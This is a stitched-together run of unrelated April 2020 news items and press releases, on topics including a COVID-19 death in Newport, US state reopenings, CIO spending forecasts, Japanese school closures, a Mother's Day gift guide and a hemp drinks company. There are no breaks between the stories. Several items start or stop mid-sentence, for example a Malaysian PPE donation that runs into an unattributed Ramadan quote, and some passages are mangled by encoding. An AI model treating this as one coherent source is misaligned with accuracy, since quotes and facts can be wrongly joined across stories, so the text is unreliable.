year under the Planting for Export and Rural Development. The Minister, who was accompanied by one of his deputies, George Oduro Boahen, who is also the MP for New Edubiase, and other officials of the ministry, visited a number of projects being undertaken in the districts. 1D1F projects, others They included a $16 million dollar Poultry Processing Factory being put up at Tanoso in the Tano North District of the Ahafo region by Tyco City Investment Limited under One-District, One-Factory, and GKA Foods located at Abesim near Sunyani. He also visited Weddi Africa Tomato Processing Factory at Jinijini in the Berekum West District, which is also being executed under One-District, One-factory programme. The factory which hopes to start production by the close of the year would initially employ about 350 people directly while several thousands of indirect jobs would also be created along its production and marketing chain. Another area visited was the Agricultural Mechanization Centre at Wamfie in the Dormaa East District where agricultural machinery such as planters and tillers are readily made available for farmers at an affordable cost by the assembly during each farming season to boost farming in the area. A father-of-two has died of coronavirus three weeks after he was intubated on the same day his daughter turned five. Healthcare support worker Julias Sana, 40, suffered from a fever after working at a private hospital that cared for people with neurodegenerative diseases in Newport, South Wales. He died on Sunday after suffering a cardiac arrest while on ventilation at the Royal Gwent Hospital in Newport. His sister, Jovelyn Villareal, who moved to the UK with him from the Philippines around 15 years ago, dropped her brother at the hospital on May 7. He wasn't sleeping well and had a temperature of 39C. Healthcare support worker Julias Sana, 40, suffered from a fever after working at a private hospital that cared for people with neurodegenerative diseases in Newport, South Wales 'I called 111 and they said they would call back but didn't,' she said. 'I called back five hours later and they said they would call an ambulance, but because he was alert he was not a priority, which is understandable. 'So me and my husband brought him to the hospital. The last thing we did was pray together, then I left him in the hospital because they wouldn't let us in.' Mr Sana had worked as an agency healthcare worker for four years before he was given a permanent role last August. A day after bringing him to hospital, Ms Villareal said her brother told her over the phone that he had been put on oxygen and antibiotics. Just 18 days after being put on ventilation Mr Sana died, leaving behind his wife Maricar, their son, 11, and five-year-old daughter (pictured together last Christmas) He died on Sunday after suffering a cardiac arrest while on ventilation at the Royal Gwent Hospital in Newport The number of COVID-19 deaths recorded in the UK has spiked today, following a pattern of lower numbers being recorded on Sundays and Mondays. The general trend, however, continues to move downward from a peak on April 8 But later that afternoon she was told by doctors he had deteriorated and was on a ventilator. She said: 'When he was intubated it was his daughter's fifth birthday. Imagine how she will remember it. It was so awful.' Just 18 days later Mr Sana died, leaving behind his wife Maricar, their son, 11, and five-year-old daughter. And the family only had a chance to say their goodbyes over FaceTime after Mr Sana had passed away. Ms Villareal said: 'There was no goodbye. We had hoped every day. He was so healthy and young and never smoked, so I never would have thought he would end up like this. It was Mr Sana's five-year-old daughter's birthday on the day he was put on a ventilator (pictured together) His sister, Jovelyn Villareal, who moved to the UK with him from the Philippines around 15 years ago, dropped her brother (pictured) at the hospital on May 7 The number of people in hospital with coronavirus is down overall but in many parts of the country the levels appear to have hit a plateau 'After he died they allowed us to say goodbye to him over Facetime, for the last time. His daughter says every day "I miss my dad".' She added: 'He didn't speak much, but he always smiled. He'd never argue, he was so good and everybody loved him. 'He was a simple man, he was content. He loved his job. He said it was rewarding when you are appreciated by the patient and other staff.' His sister praised staff at the Royal Gwent for their efforts treating her brother, as well as the Filipino community in Newport which she said had rallied around the family. Mr Sana's close friend, Belle Alcid, has now launched a fundraising page that has already raised 1,884 for his family. At the scene, the box truck, which had front-end damage, was stopped across the southbound lanes of Loomis, while the police SUV was on the parkway and sidewalk on the east side of Loomis, south of 69th Street, pointing north. The police SUV, which had heavy damage on its passenger side, had hit a brick home at the southeast corner of Loomis and 69th and a sign pole on Loomis. [April 28, 2020] Durabook Expands In-Vehicle Docking Solutions With PMT FREMONT, Calif., April 28, 2020 /PRNewswire/ -- Durabook Americas Inc. , the global rugged mobile solutions brand owned by Twinhead International Corporation, announces two new vehicle docks and cradles with its partner Precision Mounting Technologies (PMT). The vehicle docks are designed for the S14I semi-rugged laptop and U11 fully rugged tablet. These new docking solutions are designed for forklifts, logistics, and emergency response vehicles with mobile technology requirements. "PMT is excited to partner with Durabook for the launch of their new rugged laptop and tablet devices and looks forward to the value they will bring to the rugged mobile computing industry," stated Reuben Powell General Manager of PMT. "Our PMT product solutions perfectly complement the features of the Durabook devices for a truly reliable and ergonomically friendly solution fit for today's demanding mobile office environments." New Docks Bring Added Functionality The new vehicle docks feature an integrated genuine Durabook circuit board, durable aluminum construction, VESA 75 mounting studs, and integrated cable management bracket. Docking systems are key lockable for theft deterrence and are ergonomically designed for safety and usability. Every PMT dock designed for Durabook comes with a 3-year limited warranty. The durable aluminum construction houses multiple I/O ports for connectivity including RJ45, USB 3.0, USB 2.0, DP port, HDMI, VGA, RS-232 as well as mic and headphone jacks. "PMT continues to be a valuable partner for Durabook Americas. Quality craftsmanship, precision, and their commitment to standing behind their products with a 3-year warranty is why Durabook selected PMT, subsidiary of Gamber-Johnson. The expansion of our product offering with PMT is vidence of our commitment to purpose-built technology solutions within the state and local market, said Tom Wang, President of Durabook Americas." The S14I Laptop is One Step Above Semi-Rugged The Durabook S14I features 8th Generation Intel CPUs and class-leading drop spec/IP ratings, pushing semi-rugged devices to a whole new level. The S14I is engineered to combine military-grade durability, field-worker functionality, desktop performance, and long battery life for non-stop use. For workers in today's challenging and varied working environments, the S14I is in a class of its own. The U11 Fully Rugged Tablet is All-Inclusive for All Purposes Choosing between mutually exclusive I/O interfaces and devices is a thing of the past. The Durabook U11 tablet has it all. Within its extremely compact and rugged exterior, the U11 packs an unprecedented number of productivity features and generous space for further expansion. AVAILABILITY To learn more about Durabook's vehicle mounts from PMT, please visit www.precisionmounts.com/products/vehicle-docks-and-cradles/durabook.html Sales inquiries should be directed to [email protected] or 800-995-8946. ABOUT PRECISION MOUNTING TECHNOLOGIES Precision Mounting Technologies (PMT) is a global leader in manufacturing and supplying rugged mounting systems that safely secure mobile communication systems, computers, and other electronic equipment in the fleet and public safety vehicles, forklifts and other mobility applications. Their products are used by law enforcement, public safety, military, utility, and material handling fleets around the globe; they are known for being rugged, reliable and responsive. Founded in 1985 PMT is located in Calgary, AB. and is part of the Gamber-Johnson LLC company. To learn more about PMT visit precisionmounts.com. ABOUT DURABOOK AMERICAS Durabook Americas, Inc. is a subsidiary of Twinhead International Corporation, a leading manufacturer and customizer of rugged computing solutions, including the globally acclaimed Durabook brand. Driven to meet customer needs in the America's, Durabook devices are designed, manufactured and tested in-house to assure maximum quality and reliability. These cost-effective ruggedized laptops, tablets, and all-in-one PCs are high-performance solutions that increase productivity, drive a clear return on investment and deliver a low total cost of ownership for government and enterprise customers in markets like oil & gas, power & utilities, field service, military, and public safety. For more information on Durabook, visit www.durabook.com. PR Contact: Rita Lee Copernio [email protected] 714-891-3660 2020 Durabook Americas, Inc. All rights reserved. View original content to download multimedia:http://www.prnewswire.com/news-releases/durabook-expands-in-vehicle-docking-solutions-with-pmt-301048367.html SOURCE Durabook Americas [ Back To TMCnet.com's Homepage ] But for Britain's 'grumpiest landlord' Steve Cotten lockdown is 'dream come true' Pubs in the UK have been closed for over a month now due to the coronavirus pandemic, but for Britain's 'grumpiest landlord' lockdown is a 'dream come true' because he doesn't have to deal with customers. Steve Cotten, 59, took the reins of the Poltimore Arms in a part of Exmoor in Devon back in 2013. And Mr Cotten, who has become known for making punters pull their own pints, revealed that the Government's order to close all pubs, cafes and restaurants on March 20 was like 'music to his ears'. Steve Cotten, 59, took reins of the Poltimore Arms in a part of Exmoor in Devon back in 2013 He makes punters pull their own pints and has a ginger cat called Frederick Albert Hitler 'The pub is now totally desolate, which is fantastic. Having no customers is like a dream come true,' he said. When he acquired the Poltimore Arms Mr Cotten, who has a ginger cat called Frederick Albert Hitler, spent his evenings drinking alone - until eventually people discovered it had reopened. He added: 'All my wishes come at once. It is just me and Fred sitting and drinking alone in the pub like it was in the good old days - before we somehow started getting customers. It is perfect. 'Life has never been better - just me and Fred (Hitler) here on our own in a dark and dingy pub - with no customers bothering us to be served. It is bliss.' Mr Cotten's pub, which has no phone, TV or WiFi, became a favourite among royals and stars such as Prince Harry and artist Damien Hirst who visit the area for shooting and hunting. Mr Cotten also revealed that he won't be hit as hard financially by the Covid-19 lockdown. 'I have made more money in the last five weeks than I have in the seven years,' he said. For Cotten lockdown caused by the coronavirus pandemic is a 'dream come true' 'I have no staff to pay, no overheads, no water bills. I just have four solar panels running off a high tech battery. I have not needed a generator at all. 'We were told if we didn't do televisions, or food that we couldn't survive.. But with no TV, no fruit machines, no fossil fuels etc we are ready to open again at any time. I am not sure how many other pubs will be able to. 'I am just a pub. We were told we were doing everything wrong with no room, no food etc. By not doing all of those things we are in a much stronger position. 'We are a dark and cold and miserable boozer - and that's what people like about it.' Mr Cotten's pub, which has no phone, TV or WiFi, became a favourite among royals and stars Mr Cotten has spent some of his time in lockdown drinking outside the pub and he conceded that the Poltimore Arms is providing a takeaway service. 'The police helicopter was over us and two police cars arrived as they thought we were still running the pub,' he said. 'They tested everything inside and didn't pursue charges. There is an increased police presence now and they drive past every day - and I just offer them beer. 'I spend my day out the front of my pub with a pint of beer. I am allowed to, but there is no one drinking with me. They can come and buy beer to takeaway though. 'They told us on the Friday night that pubs were closing. The pub was full but we shut the next day. I have not been running a pub since and have drained all the lines.' It was claimed earlier today that pubs could reopen if landlords rationed beer to two or three pints per customer then asked them to go home to help with social distancing measures. Over the last few weeks, I have hesitated to consider the R word. After all, the economists predicted a quick V-based contraction followed by a return to normal. But it has become clear that there will be phases to coming back to what will be a new normal; and as this will take place over a longer period of time, it has become clear that a recession is coming for IT spending. Analyst firms have started estimating differing impacts from the COVID-19 crisis. I have personally seen zero growth to investment declines. Given this, it was time to take the CIOs temperature. And to see, in particular, if there are any silver linings. How ugly is it going to get? While CIOs believe that the crisis has proven the value of IT especially for organizations that were ready with mobile approaches and where the CIOs were tightly connected to other business counterparts, everyone is clear that an IT recession is coming. Stephen Landry, CIO of Seton Hall, believes, the country's response to coronavirus has highlighted the value of our investments in IT capabilities. [ Coronavirus Crisis: COVID-19 coverage on Insider Pro ] Former higher education CIO, Theresa Rowe, however, asserted that higher education likely has a rough road ahead. What does budget retrenchment look like? Who are essential personnel in a minimal campus presence, or an all online learning environment? How fast is leadership responding with an updated strategy? Or does it become slash and scatter. Landry isnt quite so negative but said, unfortunately, my guess is that, in the short term, reductions in revenue will likely result in reductions to IT spending for many CIOs. City CIO Jonathan Feldman agreed with Landry and said, tech spending is definitely going down. But itll go down through the collaboration with business leaders. And as we come through COVID-19, tech spending could be scrutinized more than ever. All spending will go down. Author and former Business Week CIO, Isaac Sacolick, claimed that most CIOs should expect cost-cutting because most businesses will face financial impacts from the crisis. When asked about the people side of the equation, former CIO and CIO consultant, Wayne Sadin said, my CIO fun isn't driven by budget increases. If IT becomes a better business partner by helping preserve, then grow, the enterprise, it becomes more relevant. This is fun! Nobody likes laying people off. Firms I talk to are so far treating that as a last resort. It's a preserve and hopefully a positioning moment. Creating better IT agility helps a firm accelerate faster when growth picks up and makes for smoother M&A when opportunities present themselves. What are there any silver linings? In a recent CIO magazine piece, Amity Millhiser, PWCs chief client officer, suggested spending on digital transformation will remain largely intact. He said, CFOs in our survey ranked digital transformation and customer experience investments much lower on the list of potential cuts than IT, general CapEx, and even workforce. They realize the importance of such investments to future competitiveness. While CIOs did not completely disagree with Amity, Feldman started by saying, the CIO who previously built credibility with the CXO team will fare much better and do much better for the organization, both now and in the post-COVID-19 world. He went on to say that some spending will go up, especially anything that we can do to support remote workers; but net spending will go down, including hiring freezes and reduced new proactive projects. In this process Sadin said, CIOs should do what they always do. They should partner with the CEO and their C-Suite peers to devise coordinated plans that balance short-term tactics with long-term business strategy. It is dumb to make IT plans in a vacuum. It is, also, dumb -- although not uncommon -- to make business plans without the CIO. For many CIOs, this is a time to put on their strategic thinking cap. CIO Paige Francis believes that CIOs should be rethinking planning before putting dollars to anything. What scenarios are we planning for and what can we do now to lay the groundwork for an equitable experience across all scenarios. Sacolick agrees completely and said that after the crisis, there should be rapid listening to market/customer needs and supplier risks. Pivot transformation programs to add, subtract, or modify based on what you hear. This is very similar to Amy Webb at New York Universitys Stern School who said, "leaders need to lean into the pandemic and make adjustments along the way. And by doing this, things will be okay. And together, we can build a better world on the other side." [ Tech careers: IT certifications and training center ] Clearly, at the end of the day this will only be about executive leadership. If the CIO is in that inner circle, then they can cast their path. If not, they will be at the mercy of those forging the path, said higher education CIO Stephen diFilipo. Sadin agreed and suggested that the crisis will create culture change, from top to bottom. In this process, it is important that CIOs think hard about the CIO's mission, place and evolution. In terms of silver linings, healthcare CIO Michael Archuleta, said that out of every crisis a new opportunity arises. We are intensifying our focus on strategic planning for a digital future and are preparing ourselves to be ready to launch new initiatives when the crisis passes. In the short term we will see cuts, but also a re-focusing on IT strategies. Food manufacturer CIO Aldo Ceccarelli doesnt disagree and suggested that for him there will be selective spending increases in things like cyber resilience and compliance first. And with this, there will be investment in artificial intelligence (AI), machine learning, and blockchain to follow. Parting thoughts Unusually, there was a universal belief that we are going into an IT recession. In this environment, things that can drive cost and labor reduction and enable digital transformation will be winners. Everything else will be questioned today and in the future. This is a time for CIOs to stand, deliver and lead. Their companies are counting on them. Source: Xinhua| 2020-04-28 12:22:41|Editor: huaxia Video Player Close WASHINGTON, April 27 (Xinhua) -- This week will see many U.S. states re-open their economies after the historic COVID-19 lockdown has ravaged the U.S. economy and caused millions of Americans to lose their jobs. However, it remains unknown whether this will impact U.S. President Donald Trump's re-election efforts. Many states this week are seeing a slow but sure re-opening of their economies, after the coronavirus has killed nearly 56,000 people nationwide and infected more than 987,000. The U.S. states of Colorado, Minnesota and Montana plan to relax restrictions advising Americans to stay home. Iowa will resume elective surgeries and farmers' markets by Monday. Tennessee restaurants and retail stores will be permitted to operate at 50-percent capacity by Wednesday. Hawaii has re-opened beaches for exercise and fishing, although sunbathing will not be permitted. Texas on Friday already allowed stores to sell merchandise curbside. Georgia on Friday allowed some businesses to open in which people are packed close together -- such as hair salons, gyms and barber shops -- following certain guidelines. Oklahoma has opened hair salons, spas and pet groomers. New York City, the hardest-hit city, is taking measures to reopen at a certain point. In Colorado, the governor said guidelines advising people to stay at home will expire by Sunday, but emphasized that people should stay at home as much as possible. Michigan, whose governor has come under fire for what critics say are unnecessary and badly-thought-out restrictions, is now allowing landscaping businesses, as well as plant nurseries and bicycle repair shops to open. "The success of the reopening strategy depends a lot on its health consequences. If states reopen and there is no major spike in cases, that will be a win for that area. But if there is a spike upwards in the number of cases and the fatality rate, that will be very problematic for Trump. It will look like he traded lives for the reopening," Brookings Institution Senior Fellow Darrell West told Xinhua. It is crucial for Trump to hold onto the white working class, which comprises his main base of support but is disproportionately impacted by the lockdown because most in that group cannot work from home. Christopher Galdieri, assistant professor at Saint Anselm College, told Xinhua that if blue collar whites think Trump is making things worse, they may move away from him in large enough numbers to complicate his re-election strategy. Clay Ramsay, a senior research associate at the Center for International and Security Studies at University of Maryland, said Trump may yet hold onto his key supporters, as the president has used his daily briefings to distance himself from health officials who caution against re-opening too soon. "So those who are disaffected with the stay-at-home policies won't blame the president for them," Ramsay said. The state of the economy come November will also be a major issue that will impact the elections. Perhaps working in Trump's favor is evidence from past pandemics that areas that took earlier, more stringent measures saw a stronger recovery than elsewhere. In an election that experts said will be determined by the electoral college rather than the national vote, that dynamic will be important. It remains unknown whether the United States will see a V-shape recovery or a longer recession that some economists are now predicting. Many Americans, climbing the walls under stay-at-home guidelines, are champing at the bit to go out. Many observers predict a surge in customers at restaurants, hair salons and shopping malls, once they reopen. But at the same time, many states are espousing a slow return to normalcy, which means requiring restaurants and other businesses to operate at a 50-percent capacity, in a bid to prevent new hot spots from popping up. West said a bad economy come November will be hard for Trump to deal with, as the surging economy has been the hallmark of his re-election strategy. Enditem Mother's Day 2020 just got a whole lot easier thanks to our awesome gift guide. Here are some great gift suggestions for all the mums who pride themselves on being, well...not ya average Ma! Boden spotty cashmere jumper, $240 Boden spotty cashmere jumper. Photo: Boden Every mum loves a nice bit of cashmere pity most of the stuff on offer is stuffy and stitched-up. Not this gorgeous spotty jumper from Boden. Not only is it made with cashmere sourced from inner-Mongolia (thats the good quality stuff), its also manufactured to be machine-washable. Were in love. Cool coffee cup, $16 Cool coffee cup. Photo: Bouffants & Broken Hearts Mum will absolutely love this gorgeous statement travel mug from Bouffants & Broken Hearts, made from new bone china and silicone its perfect for on-the-run sipping. Illustrator Kendra Dandy has provided the design for this cute cup, and were loving its bright, retro stylings. Mums and kids twinset t-shirts sets, $108.90 Mums and kids twinset t-shirts sets. Photo: Twisted Twee How cute is this Duck and Duckling T-shirt twinset from Twisted Twee? Its the perfect gift for new mums who might like to go all matchy matchy with their little ducklings. Mums tee comes in sizes small to extra large, while the mini version comes in 0-6, right up to 9-10. All together now...naaaaw! Camisole boxer set, $139 Camisole boxer set. Photo: Willow This cute, striped camisole and boxer sleepwear set from Willow is just MADE for lounging. Spoil mum on her big day with breakfast in bed, and gift her this cute set for maximum brownie points. Trivia kit, $14.99 Trivia kit. Photo: Dymocks Packaged in a cassette case (remember tapes? Mum does!) the kit from Dymocks comes with 40 cards featuring music trivia and next line challenges. Perfect for a long-distance Zoom quiz with Mum. BYO mullet and shoulder pads. Lounge gown, $149 Lounge gown. Photo: Nancygown Everyone loves lounging. Now mum can do it in style with this gorgeous, organic cotton Lounge gown from Nancybird. Not only is it hand-printed, its also fully reversible. Two gowns for the price of one winning! Lekker E-bike, $2198 Lekker E-bike. Photo: Lekker Bikes OK, so this is a little on the expensive side, but how great are these Lekker electronic bikes? The Jordaan+ Womens E-bike is standard fitted with Premium LED lights, kickstand, bell, front and rear rack, fenders and vinyl saddle and grips. And it has a Samsung compact battery! Mum will be positively flying up those hills! Story continues Silk pillowcase, $95 Silk pillowcase. Photo: Slip Sleeping on silk pillowcases is the beauty secret of countless celebs, models and influencers apparently it can stop you getting wrinkles! Now mum can get in on the act too with this gorgeous Slip silk pillowcase. Made from 100% pure silk, its of the highest quality and feels absolutely GORGEOUS on your crows feet. Kip and Co slippers, $35 Slippers. Photo: Kip and Co Who says slippers have to be daggy? These fluffy little numbers from Kip and Co come in a range of fabulous colours, and have been designed for maximum comfort and bling. Theyre 100% polyester, but feature a rubber sole, meaning mum can also rock them down the shops! Were in love! SowNSow seeds, $9.95 Seeds. Photo: SowNSow Say it...with seeds! Were in love with great Aussie company, SowNSow, who make gorgeous giftable seed packets. Theyve released a Mothers Day Snapdragon selection, complete with stunning packet illustration by Daniella Germain. This is the gift that keeps on giving, and is sure to bring a smile to mums face. Wine, $21.99 Jacobs Creek Better by Half. Photo: Jacob's Creek The new Jacobs Creek Better By Half range is half the calories and half the alcohol of similar wines thats 5.5% and 36 calories per 100ml glass which is a winner in our eyes. If your mum is all about moderation but still loves a sneaky glass of wine, this gift might just put you in her good books. Available from Liquorland and First Choice. Got a story tip or just want to get in touch? Email us at lifestyle.tips@verizonmedia.com. Prefectures are increasingly moving to extend school closure periods to fight the spread of the novel coronavirus. Of the 13 prefectures singled out by the national government under the coronavirus state of emergency, Ibaraki, Gifu and Aichi have decided to keep schools closed until the end of May. Previously, the closures were slated to end on May 6, the last day of the state of emergency as it is currently declared. aItas appropriate to reopen schools after a certain period of time after examining the effects of the state of emergency,a Aichi Gov. Hideaki Omura said. The summer vacation period will be cut short substantially to secure enough class hours, he said. Ibaraki Gov. Kazuhiko Oigawa said: aWe found it difficult to end our school closures on May 6, given the current situation. We canat help being cautiousa about when to reopen schools. The Tokyo Metropolitan Government extended its school closure period by two days until May 8. It believes that it will take time to notify municipalities of its school closure policy if the national government decides to extend the state of emergency shortly before May 6. Chiba, Osaka and Fukuoka also lengthened their school closure periods by two days. Hokkaido and Saitama are currently considering whether to extend their closures. Gunma, Shiga, Hiroshima and Kumamoto, which are not among the 13 prefectures, plan to keep their schools closed until the end of May. Last week, Huawei brought Indian music and video streaming app Hungama to its app gallery. Huawei developed its own app store as the US government barred American companies from supplying software and hardware to it. New Delhi: Chinese telecom major Huawei on Tuesday announced that it artificial intelligence-based Xploree keyboard, developed by Indian IT firm KeyPoint Technologies, is now available on its mobile app store. Huawei developed its own app store as the US government bared American companies from supplying software and hardware to it. Unlike Apple and Google, Huawei is paying an incentive of up to USD 20,000 to developers to integrate their app with its AppGallery, the Chinese telecom major said. "As our official app distribution platform, the AppGallery has grown in these years to create an advanced, engaging and secured app ecosystem for consumers," Honor and Huawei India Consumer Business Group President Chares Peng said in a statement. "That said, we are excited to embark upon our collaboration with Xploree to create an exceptional experience for our users and at the same time empower them with more than just a conventional keyboard technology." Last week, Huawei brought Indian music and video streaming app Hungama to its app gallery. "We are bullish of our commitment towards the country and with this step, we further aim to create an unmatched value for both, our partners as well as end users," Peng said. Huawei has been reaching out to Indian app developers with a USD 1 billion global fund to develop its own mobile services suite. "Huawei's AppGallery is one of the top three marketplaces having presence in over 170 countries and opens up a big opportunity for us to showcase our flagship product, Xploree - a first of its kind proactive assistant on the keyboard," KeyPoint Technologies CEO Nutan Chokkareddy said. Using a scene from Amazon Prime Video show Four More Shots Please, the Mumbai Police on Tuesday termed Mumbai as the safest city. The Twitter team of the Mumbai police posted a video from the show featuring the lead actor sitting on a ship near the Girgaum Chowpatty area. "When asked to choose the safest city," tweeted Mumbai Police. "I would choose Bombay over any other city in the world, any day," said the lead actor Sayani Gupta in the video. Mumbai Police also added hashtags of #ShotsOfSafetyPlease #MumbaiFirst #SafetyFirst along with the tweet. Also read: Extraction: Mumbai Police shares meme of Chris Hemsworth speaking Bangla, says it wont be as kind as Tyler Rake Mumbai Police's Twitter account is known for its quirky tweets and information with hilarious twists. On Monday, a scene from the new action film Extraction, was wittily used by the Mumbai Polices Twitter account to make a point about obeying laws during the ongoing lockdown. In the scene, Chris Hemsworths character, Tyler Rake, demands proof from a few Bangladeshi gangsters, in Bangla. Follow @htshowbiz for more By Akbar Mammadov The Centrist Democrat International (CDI) has said that it does not recognize the so-called "elections" held in Azerbaijans occupied Nagorno-Karabakh region. "In view of the so-called presidential and parliamentary elections held on March 31, 2020, in the Nagorno-Karabakh region of Azerbaijan, the Centrist Democrat International (CDI) wants to remind that the Nagorno-Karabakh has not been recognized by any country in the world", the organization said in a statement published in its official website on April 20. CDI stressed that the holding of illegal elections in the Nagorno-Karabakh region does not contribute to the ongoing negotiations between Azerbaijan and Armenia to find a solution to the long-lasting conflict in the region. "Underlining its continuous support and commitment to principles and norms of international law, the CDI confirms its recognition of sovereignty and territorial integrity of Azerbaijan", the statement reads. Accordingly, and in line with the statement by the OSCE Minsk Group Co-Chairs, the CDI does not accept the results of these elections. "Coinciding with the CDI approach to this very sensitive issue, the European Union reiterated in a sternly worded statement by the EEAS spokesperson that the move could hamper the progress of international negotiations on resolving the conflict", the statement further reads. In conclusion, CDI stressed that it supports OSCE Minsk Groups efforts aimed to find a peaceful and sustainable resolution of the conflict, and encourages the parties involved to demonstrate a more constructive approach to the process with the ultimate goal of restoring safety in the region. It should be noted that the illegal elections held by the separatist Nagorno-Karabakh region on March 31 and April 14 have been condemned by the EU, NATO, PACE, OIC, GUAM and a number of other international organizations, as well as a number of countries, including the UK, Germany, Turkey, Italy, Ukraine, Georgia, Estonia, etc. Nagorno-Karabakh is Azerbaijans breakaway region, which along with seven surrounding regions was occupied by Armenian forces in the war in the early 1990s. The peace negotiations mediated by the OSCE Minsk Group has not brought any results so far. --- Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97 Follow us on Twitter @AzerNewsAz Local Property Developer Group Stretches Helping Hand to Hospital Sultanah Aminah and Hospital Sultan Ismail to Support Fight Against COVID19 Johor Bahru, Malaysia, April 28, 2020 - Despite the volatile circumstances currently faced by the property market, Johor-based Daiman Group contributed 2,000 N95 Face Mask and 300 sets of PPE, comprising disposable coveralls and safety goggles to medical front-liners at Hospital Sultanah Aminah in JB City Centre, and Hospital Sultan Ismail in We believe that Allah is the doer of all things, so even if the current situation means that we cannot perform our normal prayers in the mosque, there must be something that he wants us to learn, he said. I believe we can achieve the same purpose of Ramadan staying in our homes, but I definitely miss breaking fast together at the mosque and doing prayers at night. South Africa is a semi-arid landscape with minimal rainfall and a long history of water management challenges and complexities. The country is facing a crisis, one brought into focus by the recent Cape Town water shortage, that has to be addressed. While the Department of Water and Sanitation is focused on bringing about the realities outlined in its Water and Sanitation Master Plan, South African organisations are collaborating to create inventive answers to the questions that climate change, water quality, and water scarcity bring to the table. South Africas social and economic development is being held back by water shortages and lack of access to quality water, said Phathizwe Malinga, Managing Director at SqwidNet. On top of this, our inability to collect all the due revenues for the water supplied cripples our municipalities ability to provide other basic services as well. We need to find ways of managing the water resources we have more effectively and overcoming the challenges of limited infrastructure and investment. This will have the knock-on effect of protecting this precious resource from misuse and ensuring that there is improved water security for the future. Loss of revenue from poor water management and leakages makes the situation even worse. According to the Department of Water and Sanitations National Water and Sanitation Master Plan, 41% of municipal water doesnt generate revenue while 35% is lost to leakage. Municipalities are losing around 1660 million m3 of non-revenue water every year at the cost of R6/m3. This equates to about 10 billion Rand in lost revenue annually, money that could be well spent on improving water infrastructure, access and education. Not having access to clean potable water has even more dire consequences on South African citizens. Communicable diseases like Malaria, cholera, are on the rise again. It has become a priority to find solutions that improve water management capabilities and allow for municipalities to provide better basic services from a better control over revenue. This is precisely what Inzalo Utility Systems has done. The company harnessed the intelligence of the Internet of Things (IoT) and the reach of Sigfox, to create a device thats focused exclusively on improving and streamlining water management. Its designed to detect leaks, manage payments, control water flow, and transmit data across all types of environments. Its a truly smart water management device that combines the basics of prepaid water metering with flow limitation controls and water loss prevention tools, explained Sbonelo Mazibuko, CEO of Inzalo Utility Systems. The AquaFlow, one of our next-generation of Advanced Metering Infrastructure (AMI) solutions, can transmit data wirelessly to municipalities or water service provider databases and receive commands remotely. The AquaFlow uses Sigfox technology, and is now therefore, part of the French giants global network that spans 70 countries and connects millions of low-power objects, allowing them to transmit crucial data to their relevant organisations. Sigfox enables an open access IoT ecosystem that is ultra-low-cost, and the network is operated by Sqwidnet in South Africa. With more than 1, 000 base stations in South Africa, it currently provides over 90% coverage across the population. SqwidNet offers an impressive network that helps to bypass the power limitations of infrastructure and remote locations for organisations looking to harness the capabilities of technology and IoT. By using Sigfox to communicate data and information to the municipalities or water service providers, the AquaFlow is leapfrogging existing infrastructure and connectivity limitations. It also keeps the costs down as Sigfox is inexpensive and has low power demands, explains Malinga. The network is a reliable solution that plays a big role in driving IoT adoption both locally and abroad. This is not only relevant in terms of improved water management, but also in terms of any IoT solutions that can help people and companies bypass the limitations of infrastructure and geography. The AquaFlow improves meter interrogation and service provider control. It can retrieve accurate meter readings, transmit meter usage, be configured to operate within specific parameters and be used as part of an STS Approved prepaid token system to ensure users pay for the water they use. The solution is designed to last 10 years or more in the field without needing to change its batteries, dependent on the frequency of bi-directional communication with the meter. It still has replaceable batteries, though, to ensure ongoing longevity that can be measured in decades. In short, it can be used in almost any location rural to the desert to the city and it can be easily implemented by municipalities so they can gain richer, actionable insight into water usage and expenditure. The solution is designed to minimise water disruption and loss while maximising management and revenue collection, said Mazibuko. Its an innovative and simple solution to some of the big challenges that the government faces. Finding the right solution requires collaboration and partnerships, concluded Malinga. It needs the innovative thinking of the South African entrepreneur and the use of technology that can handle the complex South African environments. This is a country that demands solutions that can cope with rural areas, limited infrastructure, poor connectivity, and harsh climatic conditions. You have to build them in South Africa, for South Africa. While the AquaFlow isnt going to fix all the water problems that affect the country, its a solid step in the right direction. It underscores the need for innovation within both the private and public sectors to find long-term solutions that can overcome South Africas challenges while driving economic growth and social inclusion. CORNELIUS, NC / ACCESSWIRE / April 28, 2020 / Good Hemp, Inc. (OTC PINK:GHMP) and Deep River Hemp announced today that Deep River will become an authorized provider of hemp clones to growers participating in Good Hemp's 2020 hemp harvest buyback program. Under the terms of the agreement, Deep River plans to cultivate high yielding CBD hemp clones for farmers looking to cash in on their hemp crop this fall. "Good Hemp initiated the buyback program earlier this year as a means to mitigate supply chain problems before they arise, reduce procurement costs for our raw materials and truly achieve traceability for our brand. Our objective is to become immune to the volatility the hemp industry has seen and stand out as a forward-thinking, vertically integrated hemp company," said Bill Alessi, CEO of Good Hemp. About Deep River Hemp - Deep River has been growing hemp since the start of the North Carolina hemp pilot program. Their proprietary clone production process promotes downward growth instead of circling. This helps avoid root binding issues and ensures that healthy transplants go into the field. With over 75 acres of hemp production in 2019, Deep River understands the importance of having quality plants with proven genetics and is committed to providing quality clones to help farms be successful in growing. About Good Hemp Products - Good Hemp 2oh!: A line of 20 calorie naturally flavored waters infused with 10mg of THC-free hemp extract and prebiotic fiber. Available in six flavors: Strawberry Kiwi, Blueberry, Coconut Lime, Cucumbermint, Lemon Twist and Mango. Good Hemp Fizz: A 35 calorie CBD and THC-free carbonated beverage, infused with 50mg of hemp seed oil, prebiotic fibers and natural flavors. Available in three flavors: Mango, Blueberry and Citrus Twist. Canna Hemp: A CBD and THC-free natural energy drink infused with 50 mg of hemp seed oil, natural flabors and organic caffeine. Available in three flavors: Mango, Blueberry and Original. Safe Harbor Statement - This press release may contain forward-looking information that involve a number of risks and uncertainties made pursuant to Section 21E of the Securities Exchange Act of 1934, as amended (the "Exchange Act") and the safe-harbor provisions of the Private Securities Litigation Reform Act of 1995, including all statements that are not statements of historical fact regarding the intent, belief or current expectations of the company, its directors or its officers with respect to, among other things, the company's business plans and the company's growth strategy and operating strategy. Words such as "strategy," "expects," "continues," "plans," "anticipates," "believes," "would," "will," "estimates," "intends," "projects," "goals," "targets" and other words of similar meaning are intended to identify forward-looking statements but are not the exclusive means of identifying these statements. Investors are cautioned that any forward-looking statements are not guarantees of future performance and involve risks and uncertainties, many of which are beyond the company's ability to control, and that actual results may differ materially from those projected in the forward-looking statements as a result of numerous and varied factors. Good Hemp, Inc. does not undertake to update any forward-looking statements except as required by applicable law. All subsequent written and oral forward-looking statements attributable to the company or any person acting on behalf of the company are expressly qualified in their entirety by the cautionary statements referenced above. Contact: Good Hemp, Inc. +1 (800) 947-9197 contact@goodhemplivin.com Follow us on Twitter Follow us on 